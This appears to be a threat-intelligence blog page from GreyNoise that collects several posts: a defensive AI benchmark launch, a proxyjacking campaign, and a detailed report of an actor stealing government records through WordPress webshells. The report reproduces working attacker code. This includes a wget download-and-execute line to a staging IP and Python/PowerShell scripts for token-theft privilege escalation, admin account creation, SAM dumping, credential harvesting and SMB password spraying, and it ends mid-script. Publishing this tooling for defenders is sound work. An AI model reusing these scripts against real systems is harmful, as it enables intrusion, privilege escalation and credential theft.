.png)
AI models are accelerating the discovery of software flaws, while the window between vulnerability disclosure and exploitation has narrowed from days to minutes. Security teams are turning to AI to help keep pace with the defensive work those attacks create, but there is little evidence to judge how well models can perform different defensive tasks. Most public cyber benchmarks focus on offensive tasks, such as developing exploits or completing capture-the-flag challenges. Few measure whether models can help defenders write detections and investigate attacks.
Today, we’re launching the GreyNoise AI Cyber Index to evaluate those defensive capabilities. At launch, it tests 46 closed and open-weight models across three tasks: Network Detections, File Detections, and Attack Forensics. The Index reports task performance, refusal rates, time, and cost, giving security teams a benchmark for comparing AI models across different security tasks.
GreyNoise has spent eight years observing how attackers find, exploit, and compromise internet-facing systems through our Global Observation Grid. We collect and label the traffic and associated artifacts, such as files and commands executed. That labeled data is used in production by more than 100,000 defenders and provides the ground truth for these benchmarks.
Every problem asks a model to perform a specific defensive task. The rule or list of evidence a model returns is run against recorded data and checked against our labeled data. The initial benchmarking set has 145 problems across three evaluations.
The overall composite score is a weighted average of 3 different defensive evals. . Network Detection carries the most weight (55%) because it’s the most tested and validated problem set, File Detection follows at 30%, and Attack Forensics carries the least (15%) because it’s the least complex task and most models already score well on it.
Every problem is built the same way. The model gets one example of an attack and has to produce something we can test. We hold back other forms of the same attack, the same malicious payload delivered a different way. These held-out forms are what a good answer should catch. We also hold back a benign twin, a copy of the attack with the malicious content swapped out, and a false positive corpus of unrelated data. A good answer should leave both alone. The corpus includes other malicious activity on purpose, so a rule can’t score by matching anything that looks like an attack. Every problem also has an oracle, a reference answer that earns full marks and proves the problem can be solved.
Each model attempted every problem at least three times, and a problem’s score is the average of its attempts. A model’s score is the share of available points it earned across problems, so 100% means full marks on every problem. Time is clock time per attempt, including tool use. Cost is based on each provider’s published prices.
Every view has a Penalizes Refusals setting. With it on, a refused attempt scores zero, so the score reflects both capability and reliability. Our problems contain real malware, as real incidents do, and a model that refuses the job can’t help a security team. A model counts as capable when it scores at least 90% of the top score, which puts the threshold at 64.5% with refusals penalized. The results below use that view.
We evaluated 46 models. All figures reflect the Index as of November 11, 2026.
These results cover Suricata rule writing, YARA rule writing, and Attack Forensics investigations, we are far from covering all security work. The launch set is a starting point, and we plan to keep dated snapshots so readers can see how rankings change over time. We are building new problems for the three existing evaluations, each held to the same QA gates, and developing new environments that cover more defensive tasks.
.png)
GreyNoise is monitoring scanning, exploitation attempts, and successful exploitation of CVE-2026-123158, also known as "SSHole," a flaw in OpenSSH on musl-based Linux (such as Alpine) that lets an oversized password authenticate to accounts configured to reject password logins. View live activity report >
.png)
GreyNoise is monitoring exploitation attempts against PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619, colloquially known as 'php2shell'. View the live activity report >
Adversaries have a wide range of mechanisms they can use to obfuscate their public internet protocol (IP) addresses to avoid attribution and reduce their detectable signature. Adversaries have used various types of nodes and services to proxy their traffic including commercial virtual private networks (VPN), virtual private servers (VPS), co-opted victim infrastructure, and more. Over time, defenders have been able to use adversary choices in infrastructure to surface illegitimate activity.
For example, “It’s not normal for our users to login from IP addresses associated with this or any VPS provider.” Some stealthy adversaries are using residential proxies, which fundamentally break some of the core assumptions about the detectable characteristics of infrastructure used for malicious activity. GreyNoise helped an organization identify one of these stealthy intrusions and separately revealed a malicious cyber actor conducting a proxyjacking campaign.
Sometimes the most interesting intrusions start with “this is either nothing or this is really bad.” Recently, GreyNoise gave a live product demonstration to an organization which identified GreyNoise-labeled malicious IP addresses in their Entra ID sign-in logs. The IPs appeared to be residential and in the geolocation that would make sense for the organization and users.
We assessed one or more devices behind the users’ network could be part of a proxy network with or without the users’ awareness and the logins could be legitimate despite warranting follow-up investigation. It is possible to observe legitimate logins from an IP address that is simultaneously proxying malicious traffic for an unrelated malicious cyber actor (MCA) against a completely unrelated target. Additional research into the IP addresses revealed they were indeed residential proxies. This datapoint validated the proxy hypothesis, but did not prove or disprove malicious activity at the organization.
As the organization investigated further, they discovered a much more alarming datapoint: multiple users were authenticating using one of the same residential IP addresses. There is a set of unlikely conditions that would need to be true for this to happen legitimately. The organization took more aggressive investigative actions and confirmed the activity was indeed a serious intrusion. GreyNoise will not publish details of the intrusion investigation identified through the product demonstration; however, it served as the basis for follow-up research into commercial residential proxy network abuse by malicious actors.
Proxy networks pose a challenge for a variety of entities trying to defend against intrusions, fraud, and other internet crimes. Residential proxies are especially challenging as they can be used to defeat detection mechanisms that rely on adversaries using IP addresses that are incongruent with the expected geolocation of a user, such as “Login from Impossible Travel Location.” Adversarial foreign intelligence entities continue to use residential proxies for these reasons.
“Earn on your internet” is how Intel 471 describes residential proxies that allow participants to voluntarily install proxy software (proxyware) on their devices to turn their devices into nodes for the proxy networks. This grants any user of that proxy network the ability to interact with the internet using the participant’s IP address. The incentive for the participant is passive income. Additionally, some commercial proxy entities offer software development kits (SDK) for developers to integrate into their applications. In this model, the software developer earns revenue by selling the device owner’s bandwidth.
One company that operates with this model is Pawns.app. Pawns.app is a “direct partner” of IPRoyal and serves as a supply chain for obtaining proxy nodes that they then sell for a myriad of legitimate use cases. Pawns.app appears to be a rebrand of “IPRoyal Pawns” and is owned by the same people. Pawns.app offers pre-compiled and pre-packaged variants of their software, some of which are not visible until you establish an account on their site.
The command line variants accept variable username, password, and device information the installing party can specify at runtime. These features make it easy for them to be installed on a device an operator does not own, which is exactly what GreyNoise recently observed.
While “earn on your internet” is voluntary, proxyjacking is a crime. Proxyjacking is when an MCA forces victim devices into proxy networks in order to monetize their bandwidth. In a recent example, GreyNoise identified an MCA conducting a proxyjacking campaign against network edge devices globally to install Pawns.app on behalf of the attacker.
The actor successfully compromised at least 143 devices in 34 countries using exploits for the following vulnerabilities:
The MCA appeared to target other brands of digital video recorders/network video recorders (DVR/NVR) such as Hikvision and Dahua.
In some cases, the adversary also configured the victim devices to accept a secure shell (SSH) key authentication from the attacker as a backup access method for victim devices:
GreyNoise provides a free service (sign in or create a free GreyNoise account to access) for anyone to check if their IP has interacted with our Global Observation Grid. This serves as a potential indicator of proxyjacking. GreyNoise will also continue to provide respective government and law enforcement entities necessary details to disrupt, investigate, and bring perpetrators to justice.
These binaries are not necessarily malware unless installed without consent.
GreyNoise identified an increase in scanning and exploitation attempts targeting Digital Video Recorders (DVR) in Ukraine between 21 September and 1 October 2026. The activity coincides with an escalation in Russian strikes across the country. There are a myriad of malicious use cases for compromising DVRs; one involves gaining the ability to physically survey an area to gain battlespace awareness before, during, and after kinetic strikes.
The majority of related activity GreyNoise observed focused on exploitation of CVE-2021-36260, which allows unauthenticated command injection against unpatched Hikvision products. The actors used the Hikvision IP camera/NVR - Remote Command Execution nuclei template.
The activity involved three PureVPN exit nodes and one Ukrainian domestic IP address. GreyNoise assesses the PureVPN-associated activity is attributable to a single entity; the activity from the domestic UA IP is possibly related (low confidence). GreyNoise did generally observe a spike in detection of exploitation and scanning attempts against CVE-2021-36260 globally; however, the four IP addresses did not attempt to exploit any of our sensors outside of Ukraine. GreyNoise observed almost no activity like this against Ukraine in the months prior, and none from these four IPs.
PureVPN is a commercial virtual private network provider; activity from these exit nodes may not be related due to legitimate shared use.
GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise also expands the GOG through Project Swarm, which enables the broader security community to join the effort. The activity discussed in this blog was derived from a Swarm participant sensor.
On 24 September 2026, a malicious cyber actor (MCA) used 149.104.78.141 to attempt zero-day exploitation against a Citrix NetScaler Gateway. At the time, there were no CVE-specific detections for the attack due to it occurring pre-disclosure. However, GreyNoise still detected and labeled the activity as fundamentally malicious within seconds due to behavioral detections. GreyNoise will not publish full details of the exploitation chain at this time. Patches are available and post-exploitation details are included below.
Though the adversary was unsuccessful in gaining a foothold on the targeted Swarm sensor, their post-exploitation playbook was revealed.
The MCA attempted to set both the Set User ID (setuid) and Set Group ID (setgid) bits on /bin/sh to obtain a root shell and install a password-protected webshell that accepts communication by the cookie value sent by the adversary. This may be to avoid persisting their commands in web logs. The MCA then attempted to configure the web server to treat their installed dot file (.ctxs.receiver - hidden by default) as a PHP file despite not having a .php extension. The MCA tried to create an alias which would route requests for a non-existent cascading style sheet (CSS) (receiver.min.css) to .ctxs.receiver; the MCA also attempted to create an additional AliasMatch setting which would provide similar functionality but allow for a more flexible pattern match so that variable characters added to the receiver.min.[0-9a-f].css file path would still route to the webshell. Lastly, the adversary attempted to kill the httpd process to restart the server.
There are other indicators being shared in the community at a higher Traffic Light Protocol (TLP) level than we can put in this blog; none of the indicator sets should be considered exhaustive. Due to the nature of the vulnerability, adversaries have a wide range of options to poison server logs with variable malicious payloads as part of the exploitation sequence.
Update: This analysis has been updated to reflect that the ZyXEL GS1900 exploit code targeted CVE-2026-107441 not CVE-2026-7273.
GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of an IP address since early June 2026 due to its frequent use in scans and attacks against a variety of technologies. We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update.
While numerous adversaries have commonalities, adversary behavior is not monolithic. One security opinion is that adversaries rotate through IP addresses such that blocking them is a fruitless endeavor. This may be true in certain situations, but we have observed several cases where it is not. GreyNoise has observed one particular IP address scanning and attacking our decoys for multiple years, however, we are confident that activity from 7 May 2026 onwards is associated with a single malicious cyber actor (MCA). This MCA is a suspected Chinese speaker possibly working in UTC+8 based on the operational timeline and copious amounts of Chinese language comments contained within their custom tools and scripts. The adversary is the same or related to “Red Heron” reported on by Acronis based on use of the same command and control (C2) domain, malware family, exploitation of Gitea in July, and other tactics, techniques, and procedures (TTPs). GreyNoise observed the MCA scanning and attacking a variety of technologies throughout the last few months. We detail a few of the more notable intrusions we observed including the theft of more than 18,000 sensitive records from a western government. Though we did not identify any specific artificial intelligence tools in use, GreyNoise suspects the MCA used a large language model (LLM) to generate their custom tools due to behavior patterns found in the code, the rapid iteration, and code comments. For example, between iterations of the same tool, some code functionality did not meaningfully change, but the actual content did:
These types of superficial changes are generally a waste of time for a human and a strong indicator the code was likely generated by a LLM.
In addition to the above findings, GreyNoise discovered the MCA targeted ZyXEL GS1900 Smart Managed Switches globally with a novel exploit of CVE-2026-107441. The MCA successfully exploited and exfiltrated sensitive data from 996 ZyXEL switches across 48 countries.
These observations and others are derived from data sourced from the GOG and adversary infrastructure.
.png)
On 12 June, the adversary attempted to exploit a chain of vulnerabilities (CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910) to achieve remote code execution (RCE) against unpatched Ubiquiti devices. These vulnerabilities were added to the CISA KEV catalog on 23 June. The adversary attempted to coerce the targeted devices to download and execute a backdoor from a separate staging server:
wget http://74.48.66.73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh
The adversary made another attempt using a different URL on 15 June:
https://www.[redacted].com.tw/[redacted]/ssh
This URL appears to be compromised infrastructure associated with a Taiwanese manufacturing company. In the first round of exploitation using 74.48.66[.]73, a malicious backdoor (2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) was delivered to targets. This backdoor used p3.981666[.]xyz:6379 to establish a C2 channel.
On or about 20 July, the adversary began targeting WordPress installations with the wp2shell exploit chain (CVE-2026-63030 and CVE-2026-60137). Unfortunately, they found success against at least 49 organizations across 29 countries primarily in small business and governmental sectors. In a red-on-red incident, the adversary also compromised a Russian state entity in Russia-occupied Ukraine. The most egregious data theft occurred against an identified western governmental organization involving more than 18,000 sensitive records stolen from its backend database. The following timeline describes that intrusion and is reconstructed using file modification timestamps which were preserved. Exact times may differ from an official forensic investigation.
powershell -c "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,BehaviorMonitorEnabled | Format-List"
dir C:\\Windows\\Microsoft.NET\\Framework64\\v4* /b
certutil -hashfile C:\\Windows\\System32\\cmd.exe MD5
powershell -c "(Get-MpComputerStatus).AMProductVersion"
echo test123 > %TEMP%\\test_write.txt && type %TEMP%\\test_write.txt && del %TEMP%\\test_write.txt
net user
powershell.exe -NoProfile -Command "try{$s=Get-MpPreference;Write-Host RTP:$($s.DisableRealtimeMonitoring);Write-Host Excl:$($s.ExclusionPath -join \",\")}catch{Write-Host ERROR:$_}"
C:\\Windows\\System32\\net.exe user
wmic product where "name like \'%security%\' or name like \'%antivirus%\' or name like \'%defender%\'" get name 2>&1
C:\\Windows\\System32\\inetsrv\\appcmd.exe list site 2>&1
cd
netstat -an | findstr LISTENING
cmd /c "net user" 2>&1
reg query "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring 2>&1
echo OK > C:\\Windows\\Temp\\test_kp.txt && type C:\\Windows\\Temp\\test_kp.txt && del C:\\Windows\\Temp\\test_kp.txt 2>&1
sc query Spooler 2>&1
findstr /i "DB_PASSWORD DB_USER DB_HOST" C:\\inetpub\\Wordpress\\wp-config.php 2>&1
dir C:\\inetpub /b
reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users" 2>&1
reg query "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" 2>&1
powershell.exe -NoProfile -ep bypass -c "$ExecutionContext.SessionState.LanguageMode"
dir "C:\\Program Files\\MySQL" /b /s 2>&1
sc query type= service state= all | findstr /i mysql
sc qc a5Backup64 2>&1
powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'http://httpbin.org/get\')" 2>&1
2026-07-22T02:31:12Z - 03:07:38Z: MCA uses at least 17 different variations of scripts in an attempt to bypass Microsoft’s Antimalware Scan Interface (AMSI), escalate privileges using Token Impersonation and Theft, create a local administrator account, and dump data from the registry.
#!/usr/bin/env python3
"""
尝试通过PowerShell反射加载GodPotato进行提权
方案：从GitHub下载GodPotato到内存，通过反射加载执行
"""
import urllib.request, ssl, urllib.parse, re, base64
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
shell_url = "https://[redacted]/wp-content/plugins/kapibala_plugin/kapibala_index.php"
def run(cmd):
url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=120)
body = resp.read().decode("utf-8", "replace")
m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
return m.group(1).strip() if m else body
# 方案1: 尝试用PowerShell内存加载PrintSpoofer
# 先测试PowerShell是否被AMSI拦截
print("=== Test AMSI ===")
r = run('powershell.exe -NoProfile -ep bypass -c "Write-Host AMSI_OK"')
print(r)
print()
# 方案2: 直接用PHP的COM对象 (Windows专属)
# WScript.Shell可以提权吗？不行，但可以测试
print("=== Test COM WScript.Shell ===")
# 通过PHP创建一个小脚本来测试COM
php_test = """<?php
if(class_exists('COM')){echo 'COM:YES';}else{echo 'COM:NO';}
echo "\\n";
// 测试proc_open以SYSTEM运行
$desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$proc = proc_open('whoami /priv', $desc, $pipes);
if($proc){
echo stream_get_contents($pipes[1]);
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
proc_close($proc);
}
"""
# 写到temp然后通过webshell调用
print(run('echo test > C:\\Windows\\Temp\\test_potato.txt && echo WRITE_OK'))
print()
# 方案3: 最简单 - 直接用certutil下载+执行
# 但这会被Defender拦。。。
# 方案4: 用PowerShell的NamedPipe + SeImpersonate做PrintSpoofer风格提权
# 这是纯PowerShell实现，不需要额外文件
print("=== PowerShell PrintSpoofer (in-memory) ===")
# 简化版：直接尝试用PowerShell的.NET反射做potato
# 先试试能不能执行较复杂的PS命令
ps_test = 'powershell.exe -NoProfile -ep bypass -c "$a=[Security.Principal.WindowsIdentity]::GetCurrent();Write-Host $a.Name;Write-Host ImpersonationLevel:$($a.ImpersonationLevel)"'
print(run(ps_test))
print()
# 尝试用 msbuild 执行C#代码(LOLBin，Defender一般不拦msbuild本身)
print("=== MSBuild available? ===")
print(run('dir C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe 2>&1'))
print()
# 方案5: 最稳的 - 用MSBuild执行内联C# Potato
print("=== Trying MSBuild Potato ===")
# 写一个MSBuild项目文件内含C# Potato代码
msbuild_xml = r'''<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Run">
<Exec Command="cmd /c whoami > C:\Windows\Temp\potato_out.txt 2>&1" />
</Target>
</Project>'''
# 先写msbuild文件
cmd_write = 'echo ^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<Target Name="Run"^>^<Exec Command="cmd /c whoami ^> C:\\Windows\\Temp\\potato_out.txt 2^>^&1" /^>^</Target^>^</Project^> > C:\\Windows\\Temp\\test.proj'
print(run(cmd_write))
print(run('C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Temp\\test.proj /t:Run /nologo 2>&1'))
print(run('type C:\\Windows\\Temp\\potato_out.txt 2>&1'))
#!/usr/bin/env python3
"""
方案1: ImpersonateLoggedOnUser in-process
获取SYSTEM token后不创建新进程，而是在当前PS进程内impersonate
然后用.NET方法直接执行特权操作
"""
import urllib.request, ssl, urllib.parse, re, base64, time
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"
def run(cmd):
url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=300)
body = resp.read().decode("utf-8", "replace")
m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
return m.group(1).strip() if m else body
def write_file(path, content):
if isinstance(content, str):
content = content.encode()
b64 = base64.b64encode(content).decode()
post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
req = urllib.request.Request(writer_url, data=post_data,
headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
resp = opener.open(req, timeout=30)
return resp.read().decode()
# PowerShell脚本: 用GodPotato获取SYSTEM token，然后用ImpersonateLoggedOnUser
# 在当前进程内impersonate，用DirectoryServices.AccountManagement创建用户
ps_script = r'''
$outFile = "C:\Windows\Temp\imp_out.txt"
"[*] Starting in-process impersonation..." | Out-File $outFile
try {
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class TokenHelper {
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool DuplicateTokenEx(IntPtr hExisting, uint access, IntPtr ta, int il, int tt, out IntPtr hNew);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(IntPtr proc, uint access, out IntPtr token);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr h);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
public static IntPtr GetSystemToken() {
// 找到一个SYSTEM进程的token
var procs = System.Diagnostics.Process.GetProcessesByName("winlogon");
foreach(var p in procs) {
IntPtr hProc = OpenProcess(0x0400, false, p.Id);
if(hProc == IntPtr.Zero) continue;
IntPtr hToken;
if(OpenProcessToken(hProc, 0x0002 | 0x0004 | 0x0008, out hToken)) {
IntPtr dupToken;
if(DuplicateTokenEx(hToken, 0x02000000, IntPtr.Zero, 2, 2, out dupToken)) {
CloseHandle(hToken);
CloseHandle(hProc);
return dupToken;
}
CloseHandle(hToken);
}
CloseHandle(hProc);
}
return IntPtr.Zero;
}
}
"@
# 方法A: 直接从SYSTEM进程偷token并impersonate
"[*] Trying direct token theft from winlogon..." | Out-File $outFile -Append
$token = [TokenHelper]::GetSystemToken()
"[*] Token handle: $token (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
if($token -ne [IntPtr]::Zero) {
$r = [TokenHelper]::ImpersonateLoggedOnUser($token)
"[*] ImpersonateLoggedOnUser: $r (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
$id = [Security.Principal.WindowsIdentity]::GetCurrent()
"[*] Current identity: $($id.Name) (level: $($id.ImpersonationLevel))" | Out-File $outFile -Append
if($id.Name -match "SYSTEM") {
"[+] GOT SYSTEM IN CURRENT THREAD!" | Out-File $outFile -Append
# 现在我们是SYSTEM，直接用.NET创建用户
try {
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$user = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($ctx)
$user.Name = "kapibala2"
$user.SetPassword("<REDACTED>")
$user.Enabled = $true
$user.Save()
"[+] User kapibala2 created!" | Out-File $outFile -Append
# 加入管理员组
$group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($ctx, "Administrators")
$group.Members.Add($user)
$group.Save()
"[+] Added to Administrators!" | Out-File $outFile -Append
} catch {
"[!] User creation error: $_" | Out-File $outFile -Append
}
# 读取SAM
try {
$sam = reg save HKLM\SAM C:\Windows\Temp\sam.hiv /y 2>&1
"[*] SAM save: $sam" | Out-File $outFile -Append
} catch {
"[!] SAM error: $_" | Out-File $outFile -Append
}
}
[TokenHelper]::RevertToSelf()
[TokenHelper]::CloseHandle($token)
} else {
"[-] Could not get SYSTEM token directly (Access Denied expected)" | Out-File $outFile -Append
# 方法B: 用GodPotato获取token然后impersonate
"[*] Falling back to GodPotato method..." | Out-File $outFile -Append
$bytes = (New-Object Net.WebClient).DownloadData("https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe")
$asm = [System.Reflection.Assembly]::Load($bytes)
"[*] GodPotato loaded" | Out-File $outFile -Append
# GodPotato没有直接暴露token的API，它只能CreateProcessWithTokenW
# 需要修改方法...
# 尝试用GodPotato执行一个PowerShell命令来impersonate
[string[]]$a = @("-cmd", "powershell.exe -NoProfile -c `"[Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-File C:\Windows\Temp\god_id.txt`"")
$asm.EntryPoint.Invoke($null, @(,$a))
Start-Sleep 3
"[*] GodPotato executed" | Out-File $outFile -Append
}
} catch {
"ERROR: $_ `n$($_.Exception.InnerException)" | Out-File $outFile -Append
}
'''
print("[*] Writing impersonation script...")
write_file("C:\\Windows\\Temp\\imp.ps1", ps_script)
print("[*] Executing (in-process impersonation)...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\imp.ps1 2>&1')
print(f"PS output: {result[:300]}")
print()
time.sleep(3)
print("[*] Impersonation log:")
print(run('type C:\\Windows\\Temp\\imp_out.txt 2>&1'))
print()
print("[*] Check user:")
print(run('net user kapibala2 2>&1'))
print()
print("[*] Check SAM hive:")
print(run('dir C:\\Windows\\Temp\\sam.hiv 2>&1'))
2026-07-22T03:17:41Z: MCA used a custom tool to search for cleartext credentials in readable files. This produced usable findings including credentials to a backend SQL database.
#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
base_url = "https://[redacted]"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
def run(cmd):
url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=120)
body = resp.read().decode("utf-8", "replace")
m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
return m.group(1).strip() if m else body
# 1. GoLive ASP连接字符串 (经典ASP站点很可能有硬编码密码)
print("="*60)
print("[1] GoLive/GlobalVariablesTest.asp (数据库连接)")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\GlobalVariablesTest.asp 2>&1'))
print()
# 2. GoLive登录函数
print("="*60)
print("[2] GoLive/loginfunctions.asp")
print("="*60)
r = run('type C:\\inetpub\\GoLive\\loginfunctions.asp 2>&1')
print(r[:3000])
print()
# 3. Entrust DLL配置 (完整)
print("="*60)
print("[3] <REDACTED>.Bespoke.[redacted].Entrust.dll.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\<REDACTED>.Bespoke.[redacted].Entrust.dll.config 2>&1'))
print()
# 4. FormsTest.exe.config
print("="*60)
print("[4] FormsTest.exe.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\FormsTest.exe.config 2>&1'))
print()
# 5. NR3Update配置
print("="*60)
print("[5] NR3Update 目录")
print("="*60)
print(run('dir C:\\inetpub\\NR3Update /b 2>&1'))
print()
# 6. APIs子目录配置
print("="*60)
print("[6] APIs\\NR3API")
print("="*60)
print(run('dir C:\\inetpub\\APIs\\NR3API /b 2>&1'))
print()
# 7. 搜索所有含password的配置文件
print("="*60)
print("[7] 全局密码搜索")
print("="*60)
print(run('findstr /si "password pwd passwd conn" C:\\inetpub\\GoLive\\*.asp C:\\inetpub\\GoLive\\*.config 2>&1')[:3000])
print()
# 8. Backup目录
print("="*60)
print("[8] Backup目录")
print("="*60)
print(run('dir C:\\inetpub\\Backup /b 2>&1'))
print()
# 9. FTP root
print("="*60)
print("[9] ftproot")
print("="*60)
print(run('dir C:\\inetpub\\ftproot /b 2>&1'))
2026-07-22T03:30:41Z: MCA used a custom tool to “pack the loot” (stolen files) by using PowerShell to create and stage a ZIP archive in a web-reachable path.
2026-07-22T03:31:25Z: MCA downloads the previously staged ZIP archive which contains source code, credentials, and additional sensitive information.
2026-07-22T04:02:01Z: MCA operationalizes the stolen credentials by conducting password spraying using custom tools. The adversary successfully gains access to an internal SQL database.
2026-07-22T04:08:32Z: MCA produces and executes two tools to bulk extract sensitive information from the SQL server. The tools use similar archiving and staging procedures as previously noted.
2026-07-22T04:09:20Z: MCA downloads the data they stole from the SQL database. At minimum, 18,566 records including accounts, plaintext passwords, and personally identifiable information (PII) associated with law enforcement and government agencies.
2026-07-22T05:36:41Z: MCA resumes activity and attempts broader password spraying internally and continues operations until at least 06:01:40Z.
#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64, time
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"
def run(cmd):
url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
resp = opener.open(req, timeout=120)
body = resp.read().decode("utf-8", "replace")
m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
return m.group(1).strip() if m else body
def write_file(path, content):
if isinstance(content, str):
content = content.encode()
b64 = base64.b64encode(content).decode()
post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
req = urllib.request.Request(writer_url, data=post_data,
headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
resp = opener.open(req, timeout=30)
return resp.read().decode()
ps_script = '''$out = ""
# SMB到SQL Server (192.168.200.22) 测试凭据
$target = "192.168.200.22"
$creds = @(
@("Administrator", "<REDACTED>"),
@("Administrator", "<REDACTED>"),
@("Administrator", "<REDACTED>"),
@("Administrator", "<REDACTED>"),
@("Administrator", "<REDACTED>"),
@("Administrator", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>")
)
$out += "[*] SMB spray to $target...`n"
foreach($c in $creds) {
$u = $c[0]; $p = $c[1]
# 先清理旧连接
net use * /delete /y 2>&1 | Out-Null
$r = net use "\\\\$target\\IPC$" /user:$u $p 2>&1 | Out-String
if($r -match "command completed") {
$out += "[+] SUCCESS: $u / $p`n"
$shares = net view "\\\\$target" 2>&1 | Out-String
$out += " Shares: $shares`n"
net use "\\\\$target\\IPC$" /delete /y 2>&1 | Out-Null
} else {
$errMsg = $r.Trim() -replace "`r`n"," "
if($errMsg.Length -gt 100) { $errMsg = $errMsg.Substring(0,100) }
$out += " [-] $u / $p : $errMsg`n"
}
}
# 也测试本机
$out += "`n[*] SMB spray to localhost (<REDACTED>)...`n"
$localCreds = @(
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>"),
@("<REDACTED>", "<REDACTED>")
)
foreach($c in $localCreds) {
